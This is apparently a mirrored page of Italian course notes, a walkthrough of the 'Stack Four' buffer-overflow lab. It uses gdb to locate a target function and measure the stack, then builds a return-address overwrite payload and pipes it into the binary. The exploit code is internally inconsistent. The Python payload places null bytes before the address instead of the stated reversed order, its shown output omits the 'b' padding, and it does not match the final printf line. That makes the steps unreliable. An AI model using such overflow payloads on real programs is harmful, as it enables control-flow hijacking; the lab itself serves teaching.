mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-22 10:44:17 +00:00
1.3 KiB
1.3 KiB
Stack Four
Now here is when it gets hard.
Intanto, bisogna trovare l'indirizzo della funzione bersaglio.
Con gdb
è facile:
(gdb) x complete_level
0x40061d
Impostando un breakpoint nella funzione start_level
, è possibile iniziare a scuriosarci:
(gdb) break start_level
(gdb) run
(gdb) disassemble start_level
(gdb) step
...
Ricordando che $rbp
e $rsp
sono rispettivamente fondo e cima dello stack, possiamo determinare quanto padding dobbiamo mettere per romperlo:
(gdb) p $rbp-$rsp
0x50
Ricordandoci che in un architettura a 64-bit gli indirizzi sono 8 byte, creiamo un payload con:
0x50
bytes di padding per riempire lo stack0x8
bytes di padding per sovrascrivere lo stack base pointer della funzione precedente0x8
bytes con l'indirizzo della funzione a cui vogliamo tornare in ordine invertito:
>>> 0x50 * b'a' + 0x8 * b'b' + b'\0\0\0\0\0\x1d\x06\x40'
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00
\x1d\x06@'
Passando questo payload prima a printf
, poi a stack-four
, otteniamo:
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\x1d\x06@' | ./stack-four